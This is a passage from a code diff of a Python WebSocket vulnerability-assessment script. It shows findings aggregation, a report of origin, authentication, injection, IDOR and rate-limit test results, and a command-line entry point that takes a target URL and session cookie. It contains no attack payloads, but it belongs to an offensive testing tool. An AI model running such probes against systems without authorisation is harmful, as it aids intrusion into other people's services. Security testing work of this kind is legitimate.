+ findings.append("MEDIUM: Potential injection in WebSocket messages")
182
+ if not rate.get("rate_limited", True):
183
+ findings.append("MEDIUM: No message rate limiting detected")
184
+
185
+ return {
186
+ "target": ws_url,
187
+ "origin_validation": origin_test,
188
+ "unauthenticated_access": no_auth,
189
+ "injection_tests": injections,
190
+ "idor_tests": idor,
191
+ "rate_limiting": rate,
192
+ "findings": findings,
193
+ }
194
+
195
+
196
+ def main():
197
+ parser = argparse.ArgumentParser(description="WebSocket Vulnerability Assessment Agent")
198
+ parser.add_argument("--url", required=True, help="WebSocket URL (wss://...)")
199
+ parser.add_argument("--cookie", default="", help="Session cookie")
200
+ parser.add_argument("--output", default="websocket_report.json")
201
+ args = parser.parse_args()
202
+
203
+ report = run_assessment(args.url, args.cookie)
204
+ with open(args.output, "w") as f:
205
+ json.dump(report, f, indent=2)
206
+ logger.info("Report saved to %s", args.output)
207
+ print(json.dumps(report, indent=2))
208
+
209
+
210
+ if __name__ == "__main__":
211
+ main()